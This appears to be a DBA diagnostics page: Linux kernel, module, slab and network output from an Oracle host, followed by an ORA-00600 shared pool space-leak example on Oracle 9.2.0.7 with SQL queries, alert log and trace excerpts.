usb 3-1: new low speed USB device using uhci_hcd and address 4
usb 3-1: configuration #1 chosen from 1 choice
input: American Megatrends Inc. Virtual Keyboard and Mouse as /class/input/input7
input: USB HID v1.10 Keyboard [American Megatrends Inc. Virtual Keyboard and Mouse] on usb-0000:00:1a.2-1
input: American Megatrends Inc. Virtual Keyboard and Mouse as /class/input/input8
input: USB HID v1.10 Mouse [American Megatrends Inc. Virtual Keyboard and Mouse] on usb-0000:00:1a.2-1
usb 7-3: USB disconnect, address 4
usb 3-1: USB disconnect, address 4
usb 7-3: new high speed USB device using ehci_hcd and address 9
usb 7-3: configuration #1 chosen from 1 choice
hub 7-3:1.0: USB hub found
hub 7-3:1.0: 2 ports detected
usb 7-3.1: new high speed USB device using ehci_hcd and address 11
usb 7-3.1: configuration #1 chosen from 1 choice
scsi14 : SCSI emulation for USB Mass Storage devices
usb-storage: device found at 11
usb-storage: waiting for device to settle before scanning
usb 7-3.2: new high speed USB device using ehci_hcd and address 12
usb 7-3.2: configuration #1 chosen from 1 choice
scsi15 : SCSI emulation for USB Mass Storage devices
usb-storage: device found at 12
usb-storage: waiting for device to settle before scanning
usb 3-1: new low speed USB device using uhci_hcd and address 5
usb 3-1: configuration #1 chosen from 1 choice
input: American Megatrends Inc. Virtual Keyboard and Mouse as /class/input/input9
input: USB HID v1.10 Keyboard [American Megatrends Inc. Virtual Keyboard and Mouse] on usb-0000:00:1a.2-1
input: American Megatrends Inc. Virtual Keyboard and Mouse as /class/input/input10
input: USB HID v1.10 Mouse [American Megatrends Inc. Virtual Keyboard and Mouse] on usb-0000:00:1a.2-1
  Vendor: AMI       Model: Virtual Floppy    Rev: 1.00
  Type:   Direct-Access                      ANSI SCSI revision: 00
  Vendor: AMI       Model: Virtual CDROM     Rev: 1.00
  Type:   CD-ROM                             ANSI SCSI revision: 00
sr0: scsi-1 drive
sr 15:0:0:0: Attached scsi CD-ROM sr0
sr 15:0:0:0: Attached scsi generic sg1 type 5
usb-storage: device scan complete
sd 14:0:0:0: Attached scsi removable disk sdb
sd 14:0:0:0: Attached scsi generic sg2 type 0
usb-storage: device scan complete
usb 7-3.2: USB disconnect, address 12
usb 7-3.1: USB disconnect, address 11
usb 3-1: USB disconnect, address 5
usb 3-1: new low speed USB device using uhci_hcd and address 6
usb 3-1: configuration #1 chosen from 1 choice
input: American Megatrends Inc. Virtual Keyboard and Mouse as /class/input/input11
input: USB HID v1.10 Keyboard [American Megatrends Inc. Virtual Keyboard and Mouse] on usb-0000:00:1a.2-1
input: American Megatrends Inc. Virtual Keyboard and Mouse as /class/input/input12
input: USB HID v1.10 Mouse [American Megatrends Inc. Virtual Keyboard and Mouse] on usb-0000:00:1a.2-1
irq 217: nobody cared (try booting with the "irqpoll" option)

Call Trace:
   [] __report_bad_irq+0x30/0x7d
 [] note_interrupt+0x1e6/0x227
 [] __do_IRQ+0xbd/0x103
 [] __do_softirq+0x89/0x133
 [] do_IRQ+0xe7/0xf5
 [] ret_from_intr+0x0/0xa
   [] :rds:rds_poll+0x0/0xe8
 [] :rds:rds_poll+0x2/0xe8
 [] do_sys_poll+0x1b8/0x360
 [] __pollwait+0x0/0xe2
 [] default_wake_function+0x0/0xe
 [] default_wake_function+0x0/0xe
 [] default_wake_function+0x0/0xe
 [] default_wake_function+0x0/0xe
 [] default_wake_function+0x0/0xe
 [] sock_common_recvmsg+0x2d/0x43
 [] sock_aio_read+0x4f/0x5e
 [] sys_sendmsg+0x217/0x28a
 [] :rds:__rds_rdma_map+0x2f5/0x319
 [] :rds:rds_get_mr+0x34/0x3f
 [] :rds:rds_setsockopt+0x9a/0x124
 [] sys_poll+0x2d/0x34
 [] system_call+0x7e/0x83

handlers:
[] (usb_hcd_irq+0x0/0x55)
Disabling IRQ #217
RDS/IB: send completion on 172.168.8.18 had status 12, disconnecting and reconnecting
process `sysctl' is using deprecated sysctl (syscall) net.ipv6.neigh.eth0.base_reachable_time;
Use net.ipv6.neigh.eth0.base_reachable_time_ms instead.
[Oracle ADVM] The attempt to open/mount volume RECO-ASM_FILE failed.

[oracle@maclean01 ~]$ /sbin/lsmod
Module                  Size  Used by
sr_mod                 50789  0
cdrom                  68713  1 sr_mod
oracleacfs            877320  1
oracleadvm            221760  3
oracleoks             276880  2 oracleacfs,oracleadvm
ipmi_poweroff          43401  0
ipmi_watchdog          52641  0
ipmi_devintf           44753  2
ipmi_si                77453  3
ipmi_msghandler        72985  4 ipmi_poweroff,ipmi_watchdog,ipmi_devintf,ipmi_si
sunrpc                197897  1
bonding               117856  0
iscsi_tcp              58305  0
libiscsi               63553  1 iscsi_tcp
scsi_transport_iscsi    67153  3 iscsi_tcp,libiscsi
rds                   402096  2364
ib_ipoib              112864  0
ipoib_helper           35472  2 ib_ipoib
ipv6                  424737  547 ib_ipoib
xfrm_nalgo             43333  1 ipv6
crypto_api             42945  1 xfrm_nalgo
rdma_ucm               47616  0
ib_ucm                 50056  0
ib_uverbs              75440  2 rdma_ucm,ib_ucm
ib_umad                50088  0
rdma_cm                68372  2 rds,rdma_ucm
ib_cm                  72744  3 ib_ipoib,ib_ucm,rdma_cm
iw_cm                  43400  1 rdma_cm
ib_addr                41736  1 rdma_cm
ib_sa                  74760  3 ib_ipoib,rdma_cm,ib_cm
dm_mirror              54089  0
dm_log                 44993  1 dm_mirror
dm_multipath           55257  0
scsi_dh                41665  1 dm_multipath
dm_mod                100753  3 dm_mirror,dm_log,dm_multipath
video                  53069  0
hwmon                  36553  0
backlight              39873  1 video
sbs                    49921  0
i2c_ec                 38593  1 sbs
button                 40545  0
battery                43849  0
asus_acpi              50917  0
acpi_memhotplug        40133  0
ac                     38729  0
fuse                   81200  0
parport_pc             62313  0
lp                     47121  0
parport                73165  2 parport_pc,lp
sg                     69865  0
mlx4_ib                99004  0
ib_mad                 70564  4 ib_umad,ib_cm,ib_sa,mlx4_ib
ib_core               109184  12 rds,ib_ipoib,rdma_ucm,ib_ucm,ib_uverbs,ib_umad,rdma_cm,ib_cm,iw_cm,
ib_sa,mlx4_ib,ib_mad
joydev                 43969  0
shpchp                 70765  0
i2c_i801               41813  0
igb                   110421  0
i2c_core               56129  2 i2c_ec,i2c_i801
ahci                   68937  0
mlx4_core             136676  1 mlx4_ib
pcspkr                 36289  0
usb_storage           116513  0
ata_piix               57029  0
libata                209105  2 ahci,ata_piix
cciss                 106760  0
megaraid_sas           73796  6
sd_mod                 56513  4
scsi_mod              197081  11 sr_mod,iscsi_tcp,libiscsi,scsi_transport_iscsi,scsi_dh,sg,usb_storage,
libata,cciss,megaraid_sas,sd_mod
ext3                  168529  2
jbd                    94513  1 ext3
ehci_hcd               65613  0
ohci_hcd               55925  0
uhci_hcd               57433  0 

[oracle@maclean01 proc]$ cat slabinfo
slabinfo - version: 2.1
# name                 : tunables    : slabdata
acfs_metadata_buffer_cache      0      0    512    8    1 : tunables   54   27    8 : slabdata      0      0      0
acfs_ofsbuf_cache      0      0    136   28    1 : tunables  120   60    8 : slabdata      0      0      0
acfs_inode_cache       0      0   1144    3    1 : tunables   24   12    8 : slabdata      0      0      0
acfs_reqd_fcb_cache      0      0    128   30    1 : tunables  120   60    8 : slabdata      0      0      0
acfs_ccb_cache         0      0    112   34    1 : tunables  120   60    8 : slabdata      0      0      0
acfs_fcb_cache         0      0    472    8    1 : tunables   54   27    8 : slabdata      0      0      0
fio                    0      0     24  144    1 : tunables  120   60    8 : slabdata      0      0      0
AsmPhysIo              0      0    112   34    1 : tunables  120   60    8 : slabdata      0      0      0
AsmVolIo               0      0    256   15    1 : tunables  120   60    8 : slabdata      0      0      0
odlm_rsb_cache         0      0    184   21    1 : tunables  120   60    8 : slabdata      0      0      0
odlm_lkb_cache         0      0    312   12    1 : tunables   54   27    8 : slabdata      0      0      0
rpc_buffers            8      8   2048    2    1 : tunables   24   12    8 : slabdata      4      4      0
rpc_tasks              8     10    384   10    1 : tunables   54   27    8 : slabdata      1      1      0
rpc_inode_cache        6     10    768    5    1 : tunables   54   27    8 : slabdata      2      2      0
ip_fib_alias          21     59     64   59    1 : tunables  120   60    8 : slabdata      1      1      0
ip_fib_hash           21     59     64   59    1 : tunables  120   60    8 : slabdata      1      1      0
rds_ib_frag        34720  93564     40   92    1 : tunables  120   60    8 : slabdata   1017   1017    120
rds_ib_incoming    34760  91488    120   32    1 : tunables  120   60    8 : slabdata   2859   2859    120
rds_iw_frag            0      0     40   92    1 : tunables  120   60    8 : slabdata      0      0      0
rds_iw_incoming        0      0    120   32    1 : tunables  120   60    8 : slabdata      0      0      0
RDS                 1233   1359    832    9    2 : tunables   54   27    8 : slabdata    151    151      0
rds_connection        12     18    664    6    1 : tunables   54   27    8 : slabdata      3      3      0
fib6_nodes             9     59     64   59    1 : tunables  120   60    8 : slabdata      1      1      0
ip6_dst_cache         10     36    320   12    1 : tunables   54   27    8 : slabdata      3      3      0
ndisc_cache            1     15    256   15    1 : tunables  120   60    8 : slabdata      1      1      0
RAWv6                 19     20    960    4    1 : tunables   54   27    8 : slabdata      5      5      0
UDPv6                226    244    896    4    1 : tunables   54   27    8 : slabdata     61     61      0
tw_sock_TCPv6         61    140    192   20    1 : tunables  120   60    8 : slabdata      7      7      0
request_sock_TCPv6      0      0    192   20    1 : tunables  120   60    8 : slabdata      0      0      0
TCPv6                 28     52   1728    4    2 : tunables   24   12    8 : slabdata     11     13      0
dm_mpath               0      0     40   92    1 : tunables  120   60    8 : slabdata      0      0      0
dm_uevent              0      0   2608    3    2 : tunables   24   12    8 : slabdata      0      0      0
dm_tio                 0      0     24  144    1 : tunables  120   60    8 : slabdata      0      0      0
dm_io                  0      0     40   92    1 : tunables  120   60    8 : slabdata      0      0      0
fuse_request           0      0    592   13    2 : tunables   54   27    8 : slabdata      0      0      0
fuse_inode             0      0    640    6    1 : tunables   54   27    8 : slabdata      0      0      0
ib_mad              2048   2168    448    8    1 : tunables   54   27    8 : slabdata    271    271      0
jbd_4k                39     40   4096    1    1 : tunables   24   12    8 : slabdata     39     40      0
scsi_cmd_cache        44     70    384   10    1 : tunables   54   27    8 : slabdata      6      7      0
sgpool-128            32     32   4096    1    1 : tunables   24   12    8 : slabdata     32     32      0
sgpool-64             34     34   2048    2    1 : tunables   24   12    8 : slabdata     17     17      0
sgpool-32             33     36   1024    4    1 : tunables   54   27    8 : slabdata      9      9      0
sgpool-16             34     40    512    8    1 : tunables   54   27    8 : slabdata      5      5      0
sgpool-8             133    150    256   15    1 : tunables  120   60    8 : slabdata      9     10      0
scsi_io_context        0      0    112   34    1 : tunables  120   60    8 : slabdata      0      0      0
ext3_inode_cache  885935 886035    760    5    1 : tunables   54   27    8 : slabdata 177207 177207      0
ext3_xattr             0      0     88   44    1 : tunables  120   60    8 : slabdata      0      0      0
journal_handle       114    288     24  144    1 : tunables  120   60    8 : slabdata      2      2      0
journal_head         568    840     96   40    1 : tunables  120   60    8 : slabdata     21     21      0
revoke_table           4    202     16  202    1 : tunables  120   60    8 : slabdata      1      1      0
revoke_record          0      0     32  112    1 : tunables  120   60    8 : slabdata      0      0      0
uhci_urb_priv          4     67     56   67    1 : tunables  120   60    8 : slabdata      1      1      0
UNIX                 686    748    704   11    2 : tunables   54   27    8 : slabdata     67     68      0
flow_cache             0      0    128   30    1 : tunables  120   60    8 : slabdata      0      0      0
msi_cache             40     59     64   59    1 : tunables  120   60    8 : slabdata      1      1      0
cfq_ioc_pool         203    360    160   24    1 : tunables  120   60    8 : slabdata     15     15      0
cfq_pool             162    336    160   24    1 : tunables  120   60    8 : slabdata     14     14      0
crq_pool              93    144     80   48    1 : tunables  120   60    8 : slabdata      3      3      0
deadline_drq           0      0     80   48    1 : tunables  120   60    8 : slabdata      0      0      0
as_arq                 0      0     96   40    1 : tunables  120   60    8 : slabdata      0      0      0
mqueue_inode_cache      1      4    896    4    1 : tunables   54   27    8 : slabdata      1      1      0
isofs_inode_cache      0      0    608    6    1 : tunables   54   27    8 : slabdata      0      0      0
hugetlbfs_inode_cache      1      7    576    7    1 : tunables   54   27    8 : slabdata      1      1      0
ext2_inode_cache       0      0    720    5    1 : tunables   54   27    8 : slabdata      0      0      0
ext2_xattr             0      0     88   44    1 : tunables  120   60    8 : slabdata      0      0      0
dnotify_cache          2     92     40   92    1 : tunables  120   60    8 : slabdata      1      1      0
dquot                  0      0    256   15    1 : tunables  120   60    8 : slabdata      0      0      0
eventpoll_pwq          1     53     72   53    1 : tunables  120   60    8 : slabdata      1      1      0
eventpoll_epi          1     20    192   20    1 : tunables  120   60    8 : slabdata      1      1      0
inotify_event_cache      0      0     40   92    1 : tunables  120   60    8 : slabdata      0      0      0
inotify_watch_cache      1     53     72   53    1 : tunables  120   60    8 : slabdata      1      1      0
kioctx               347    480    320   12    1 : tunables   54   27    8 : slabdata     40     40      0
kiocb                  0      0    256   15    1 : tunables  120   60    8 : slabdata      0      0      0
fasync_cache           0      0     24  144    1 : tunables  120   60    8 : slabdata      0      0      0
shmem_inode_cache    924    940    768    5    1 : tunables   54   27    8 : slabdata    188    188      0
posix_timers_cache      0      0    128   30    1 : tunables  120   60    8 : slabdata      0      0      0
uid_cache              7     30    128   30    1 : tunables  120   60    8 : slabdata      1      1      0
ip_mrt_cache           0      0    128   30    1 : tunables  120   60    8 : slabdata      0      0      0
tcp_bind_bucket      115    448     32  112    1 : tunables  120   60    8 : slabdata      4      4      0
inet_peer_cache        3     30    128   30    1 : tunables  120   60    8 : slabdata      1      1      0
secpath_cache          0      0     64   59    1 : tunables  120   60    8 : slabdata      0      0      0
xfrm_dst_cache         0      0    384   10    1 : tunables   54   27    8 : slabdata      0      0      0
ip_dst_cache         250    590    384   10    1 : tunables   54   27    8 : slabdata     59     59      0
arp_cache             32     90    256   15    1 : tunables  120   60    8 : slabdata      6      6      0
RAW                   17     20    768    5    1 : tunables   54   27    8 : slabdata      4      4      0
UDP                  705    735    768    5    1 : tunables   54   27    8 : slabdata    147    147      0
tw_sock_TCP            3     20    192   20    1 : tunables  120   60    8 : slabdata      1      1      0
request_sock_TCP      30     90    128   30    1 : tunables  120   60    8 : slabdata      3      3      0
TCP                  315    365   1536    5    2 : tunables   24   12    8 : slabdata     73     73      0
blkdev_ioc           203    402     56   67    1 : tunables  120   60    8 : slabdata      6      6      0
blkdev_queue          20     20   1576    5    2 : tunables   24   12    8 : slabdata      4      4      0
blkdev_requests       63     84    272   14    1 : tunables   54   27    8 : slabdata      6      6      0
biovec-256             7      7   4096    1    1 : tunables   24   12    8 : slabdata      7      7      0
biovec-128             7      8   2048    2    1 : tunables   24   12    8 : slabdata      4      4      0
biovec-64              7      8   1024    4    1 : tunables   54   27    8 : slabdata      2      2      0
biovec-16              7     15    256   15    1 : tunables  120   60    8 : slabdata      1      1      0
biovec-4               7     59     64   59    1 : tunables  120   60    8 : slabdata      1      1      0
biovec-1             127    404     16  202    1 : tunables  120   60    8 : slabdata      2      2      0
bio                  374    480    128   30    1 : tunables  120   60    8 : slabdata     14     16      0
utrace_engine_cache      0      0     64   59    1 : tunables  120   60    8 : slabdata      0      0      0
utrace_cache           0      0     64   59    1 : tunables  120   60    8 : slabdata      0      0      0
sock_inode_cache    3142   3294    640    6    1 : tunables   54   27    8 : slabdata    549    549      0
skbuff_fclone_cache    329    413    512    7    1 : tunables   54   27    8 : slabdata     59     59     54
skbuff_head_cache  13718  14670    256   15    1 : tunables  120   60    8 : slabdata    978    978    120
file_lock_cache       33     88    176   22    1 : tunables  120   60    8 : slabdata      4      4      0
Acpi-Operand        2525   2596     64   59    1 : tunables  120   60    8 : slabdata     44     44      0
Acpi-ParseExt          0      0     64   59    1 : tunables  120   60    8 : slabdata      0      0      0
Acpi-Parse             0      0     40   92    1 : tunables  120   60    8 : slabdata      0      0      0
Acpi-State             0      0     80   48    1 : tunables  120   60    8 : slabdata      0      0      0
Acpi-Namespace      1082   1232     32  112    1 : tunables  120   60    8 : slabdata     11     11      0
delayacct_cache     1155   1888     64   59    1 : tunables  120   60    8 : slabdata     32     32      0
taskstats_cache       35    265     72   53    1 : tunables  120   60    8 : slabdata      5      5      0
proc_inode_cache   17438  17796    592    6    1 : tunables   54   27    8 : slabdata   2966   2966      0
sigqueue             132    432    160   24    1 : tunables  120   60    8 : slabdata     18     18      0
radix_tree_node   259865 260141    536    7    1 : tunables   54   27    8 : slabdata  37163  37163      0
bdev_cache            28     35    768    5    1 : tunables   54   27    8 : slabdata      7      7      0
sysfs_dir_cache    10415  10648     88   44    1 : tunables  120   60    8 : slabdata    242    242      0
mnt_cache             29     60    256   15    1 : tunables  120   60    8 : slabdata      4      4      0
inode_cache         2386   2758    560    7    1 : tunables   54   27    8 : slabdata    394    394      0
dentry_cache      1081196 1081638    216   18    1 : tunables  120   60    8 : slabdata  60091  60091      0
filp               81069  86250    256   15    1 : tunables  120   60    8 : slabdata   5750   5750    480
names_cache           93     94   4096    1    1 : tunables   24   12    8 : slabdata     93     94      0
avc_node              14     53     72   53    1 : tunables  120   60    8 : slabdata      1      1      0
selinux_inode_security   1710   2064     80   48    1 : tunables  120   60    8 : slabdata     43     43      0
key_jar               28     40    192   20    1 : tunables  120   60    8 : slabdata      2      2      0
idr_layer_cache      128    133    528    7    1 : tunables   54   27    8 : slabdata     19     19      0
buffer_head       4216731 5748080     96   40    1 : tunables  120   60    8 : slabdata 143702 143702      0
mm_struct            477    556    896    4    1 : tunables   54   27    8 : slabdata    139    139      0
vm_area_struct    119228 127336    176   22    1 : tunables  120   60    8 : slabdata   5788   5788    144
fs_cache             479   1180     64   59    1 : tunables  120   60    8 : slabdata     20     20      0
files_cache          446    605    768    5    1 : tunables   54   27    8 : slabdata    120    121      0
signal_cache         681    810    768    5    1 : tunables   54   27    8 : slabdata    162    162      0
sighand_cache        675    726   2112    3    2 : tunables   24   12    8 : slabdata    242    242      0
task_struct         1161   1212   1888    2    1 : tunables   24   12    8 : slabdata    606    606      0
anon_vma           30786  37152     24  144    1 : tunables  120   60    8 : slabdata    258    258      0
pid                 1558   2301     64   59    1 : tunables  120   60    8 : slabdata     39     39      0
shared_policy_node      0      0     48   77    1 : tunables  120   60    8 : slabdata      0      0      0
numa_policy          226    576     24  144    1 : tunables  120   60    8 : slabdata      4      4      0
size-131072(DMA)       0      0 131072    1   32 : tunables    8    4    0 : slabdata      0      0      0
size-131072            8     22 131072    1   32 : tunables    8    4    0 : slabdata      8     22      0
size-65536(DMA)        0      0  65536    1   16 : tunables    8    4    0 : slabdata      0      0      0
size-65536             3      3  65536    1   16 : tunables    8    4    0 : slabdata      3      3      0
size-32768(DMA)        0      0  32768    1    8 : tunables    8    4    0 : slabdata      0      0      0
size-32768             5      5  32768    1    8 : tunables    8    4    0 : slabdata      5      5      0
size-16384(DMA)        0      0  16384    1    4 : tunables    8    4    0 : slabdata      0      0      0
size-16384            51     51  16384    1    4 : tunables    8    4    0 : slabdata     51     51      0
size-8192(DMA)         0      0   8192    1    2 : tunables    8    4    0 : slabdata      0      0      0
size-8192            565    565   8192    1    2 : tunables    8    4    0 : slabdata    565    565      0
size-4096(DMA)         0      0   4096    1    1 : tunables   24   12    8 : slabdata      0      0      0
size-4096            917    947   4096    1    1 : tunables   24   12    8 : slabdata    917    947      0
size-2048(DMA)         0      0   2048    2    1 : tunables   24   12    8 : slabdata      0      0      0
size-2048           3836   3892   2048    2    1 : tunables   24   12    8 : slabdata   1945   1946     24
size-1024(DMA)         0      0   1024    4    1 : tunables   54   27    8 : slabdata      0      0      0
size-1024          10741  11108   1024    4    1 : tunables   54   27    8 : slabdata   2777   2777    108
size-512(DMA)          0      0    512    8    1 : tunables   54   27    8 : slabdata      0      0      0
size-512            1570   1672    512    8    1 : tunables   54   27    8 : slabdata    208    209     54
size-256(DMA)          0      0    256   15    1 : tunables  120   60    8 : slabdata      0      0      0
size-256            3758   3960    256   15    1 : tunables  120   60    8 : slabdata    264    264    120
size-128(DMA)          0      0    128   30    1 : tunables  120   60    8 : slabdata      0      0      0
size-64(DMA)           0      0     64   59    1 : tunables  120   60    8 : slabdata      0      0      0
size-64           419980 420493     64   59    1 : tunables  120   60    8 : slabdata   7127   7127    148
size-32(DMA)           0      0     32  112    1 : tunables  120   60    8 : slabdata      0      0      0
size-128            5415   6240    128   30    1 : tunables  120   60    8 : slabdata    208    208     60
size-32             5085   5488     32  112    1 : tunables  120   60    8 : slabdata     49     49      0
kmem_cache           164    164   2688    1    1 : tunables   24   12    8 : slabdata    164    164      0

[oracle@maclean01 ~]$ /sbin/ifconfig -a
bond0     Link encap:InfiniBand  HWaddr 80:00:00:48:FE:80:00:00:00:00:00:00:00:00:00:00:00:00:00:00
          inet addr:172.168.8.10  Bcast:172.168.8.255  Mask:255.255.255.0
          inet6 addr: fe80::221:2800:13e:8413/64 Scope:Link
          UP BROADCAST RUNNING MASTER MULTICAST  MTU:65520  Metric:1
          RX packets:184405538 errors:0 dropped:0 overruns:0 frame:0
          TX packets:176124832 errors:0 dropped:35 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:30945297410 (28.8 GiB)  TX bytes:27635080173 (25.7 GiB)

bond1     Link encap:Ethernet  HWaddr 00:21:28:6B:02:51
          inet addr:172.16.9.20  Bcast:172.16.9.255  Mask:255.255.255.0
          inet6 addr: fe80::221:28ff:fe6b:251/64 Scope:Link
          UP BROADCAST RUNNING MASTER MULTICAST  MTU:1500  Metric:1
          RX packets:59600090474 errors:0 dropped:0 overruns:0 frame:0
          TX packets:50440920829 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:9377243799311 (8.5 TiB)  TX bytes:12093687517171 (10.9 TiB)

bond1:1   Link encap:Ethernet  HWaddr 00:21:28:6B:02:51
          inet addr:172.16.9.24  Bcast:172.16.9.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MASTER MULTICAST  MTU:1500  Metric:1

bond2     Link encap:Ethernet  HWaddr 00:00:00:00:00:00
          BROADCAST MASTER MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)

eth0      Link encap:Ethernet  HWaddr 00:21:28:6B:02:50
          inet addr:172.16.8.220  Bcast:172.16.8.255  Mask:255.255.255.128
          inet6 addr: fe80::221:28ff:fe6b:250/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:899946283 errors:0 dropped:0 overruns:0 frame:0
          TX packets:892061685 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:80589528069 (75.0 GiB)  TX bytes:796212093678 (741.5 GiB)
          Memory:fac60000-fac80000 

eth1      Link encap:Ethernet  HWaddr 00:21:28:6B:02:51
          UP BROADCAST RUNNING SLAVE MULTICAST  MTU:1500  Metric:1
          RX packets:59592011485 errors:0 dropped:0 overruns:0 frame:0
          TX packets:50440920830 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:9376635582221 (8.5 TiB)  TX bytes:12093687519354 (10.9 TiB)
          Memory:face0000-fad00000 

eth2      Link encap:Ethernet  HWaddr 00:21:28:6B:02:51
          UP BROADCAST RUNNING SLAVE MULTICAST  MTU:1500  Metric:1
          RX packets:8078995 errors:0 dropped:0 overruns:0 frame:0
          TX packets:7 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:608217729 (580.0 MiB)  TX bytes:378 (378.0 b)
          Memory:fad60000-fad80000 

eth3      Link encap:Ethernet  HWaddr 00:21:28:6B:02:53
          BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)
          Memory:fade0000-fae00000 

ib0       Link encap:InfiniBand  HWaddr 80:00:00:48:FE:80:00:00:00:00:00:00:00:00:00:00:00:00:00:00
          UP BROADCAST RUNNING SLAVE MULTICAST  MTU:65520  Metric:1
          RX packets:178541576 errors:0 dropped:0 overruns:0 frame:0
          TX packets:176124832 errors:0 dropped:35 overruns:0 carrier:0
          collisions:0 txqueuelen:256
          RX bytes:30616915538 (28.5 GiB)  TX bytes:27635080173 (25.7 GiB)

ib1       Link encap:InfiniBand  HWaddr 80:00:00:49:FE:80:00:00:00:00:00:00:00:00:00:00:00:00:00:00
          UP BROADCAST RUNNING SLAVE MULTICAST  MTU:65520  Metric:1
          RX packets:5863962 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:256
          RX bytes:328381872 (313.1 MiB)  TX bytes:0 (0.0 b)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:4072387189 errors:0 dropped:0 overruns:0 frame:0
          TX packets:4072387189 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:631992143010 (588.5 GiB)  TX bytes:631992143010 (588.5 GiB)

sit0      Link encap:IPv6-in-IPv4
          NOARP  MTU:1480  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)

[oracle@maclean01 ~]$ ulimit -a
core file size          (blocks, -c) 0
data seg size           (kbytes, -d) unlimited
scheduling priority             (-e) 0
file size               (blocks, -f) unlimited
pending signals                 (-i) 606208
max locked memory       (kbytes, -l) 32
max memory size         (kbytes, -m) unlimited
open files                      (-n) 1024
pipe size            (512 bytes, -p) 8
POSIX message queues     (bytes, -q) 819200
real-time priority              (-r) 0
stack size              (kbytes, -s) 10240
cpu time               (seconds, -t) unlimited
max user processes              (-u) 606208
virtual memory          (kbytes, -v) unlimited
file locks                      (-x) unlimited

ORA-00600: INTERNAL ERROR CODE, ARGUMENTS: [729], [10992], [SPACE LEAK] Example

The customers got  this error every alternative days on Version  9.2.0.7. They did increase the shared pool from 450MB to 704MB. Let’s see the alert.log and the last generated trace file.

SQL> l
1  select  nam.ksppinm NAME,
2  val.KSPPSTVL VALUE
3  from x$ksppi nam,
4  x$ksppsv val
5  where nam.indx = val.indx
6  and  nam.ksppinm like '%shared%'
7* order by 1
SQL> /

NAME                                                              VALUE
----------------------------------------------------------------  ----------
_all_shared_dblinks
_shared_pool_reserved_min_alloc                                   4400
_shared_pool_reserved_pct                                         5
hi_shared_memory_address                                          0
max_shared_servers                                                20
shared_memory_address                                             0
shared_pool_reserved_size                                         31876710
shared_pool_size                                                  738197504
shared_server_sessions                                            0
shared_servers                                                    0

10 rows selected.

SQL>  select FREE_SPACE,LAST_FAILURE_SIZE,REQUEST_FAILURES,LAST_MISS_SIZE  from v$shared_pool_reserved;

FREE_SPACE LAST_FAILURE_SIZE  REQUEST_FAILURES LAST_MISS_SIZE
---------- -----------------  ---------------- --------------
19018368               456               725              0

1 row selected.

Alert log
~~~~~~~~~~
Thu May 28 19:05:11 2009
Errors in file  /u01/app/oracle/admin/preg062/udump/preg062_ora_17314.trc:
ORA-00600:  internal error code, arguments: [729], [10992], [space leak], [], [],  [], [], []

Trace File
~~~~~~~~~~~
Dump file  /u01/app/oracle/admin/preg062/udump/preg062_ora_17314.trc
Oracle9i  Enterprise Edition Release 9.2.0.7.0 - 64bit Production
With the  Partitioning, OLAP and Oracle Data Mining options
JServer Release  9.2.0.7.0 - Production
ORACLE_HOME =  /u01/app/oracle/product/920preg062
System name:	SunOS
Node name:	 iccscorp
Release:	5.9
Version:	Generic_122300-22
Machine:	sun4u
Instance  name: preg062

Error
-----
ORA-00600: internal error code,  arguments: [729], [10992], [space leak], [], [], [], [], []

Current  SQL
-----------
None

Call Stack
----------
ksedmp  kgeriv kgesiv ksesic2 ksmuhe ksmugf ksuxds ksudel opilof opiodr ttcpip  opitsk opiino opiodr opidrv sou2o main start

Session info
------------
SO:  411536570, type: 4, owner: 40e583e08, flag: INIT/-/-/0x00
(session) trans: 0, creator: 40e583e08, flag: (41) USR/- BSY/-/-/DEL/-/-
DID: 0001-00F9-00000F5B, short-term DID:  0000-0000-00000000
txn branch: 0
oct:  0, prv: 0, sql: 417fbbf18, psql: 416fa9840, user: 31/MATRIXTWO
O/S info: user: matrixadmin, term: , ospid: 17281, machine: iccscorp
program: mql@iccscorp (TNS V1-V3)
last wait for  'SQL*Net message from client' blocking sess=0x0 seq=3208 wait_time=836
driver id=54435000, #bytes=1, =0

ORA-04031  details
~~~~~~~~~~~~~
Begin 4031 Diagnostic Information

Allocation  Request
-------------------
Allocation request for: kkslpkp -  literal info.
Heap: 3d6fb45f0, size: 4200

Call stack
-----------
ksm_4031_dump   ksmasg  kghnospc  kghalp  kghsupmm  kghssgai  kkslpkp  kkslpgo  kkepsl   kkecdn  kkotap  kkoiqb  kkooqb  kkoqbc  apakkoqb
apaqbd  apadrv   opitca  kkssbt  kksfbc  kkspfda  kpodny  kpoal8  opiodr  ttcpip  opitsk   opiino  opiodr  opidrv  sou2o  main

Session Info
-------------
SO:  411536570, type: 4, owner: 40e583e08, flag: INIT/-/-/0x00
(session) trans: 0, creator: 40e583e08, flag: (41) USR/- BSY/-/-/-/-/-
DID: 0001-00F9-00000F5B, short-term DID: 0000-0000-00000000
txn branch: 0
oct: 0, prv: 0, sql: 4311e4e30,  psql: 4311e4e30, user: 31/MATRIXTWO
O/S info: user: matrixadmin,  term: , ospid: 17281, machine: iccscorp
program:  mql@iccscorp (TNS V1-V3)
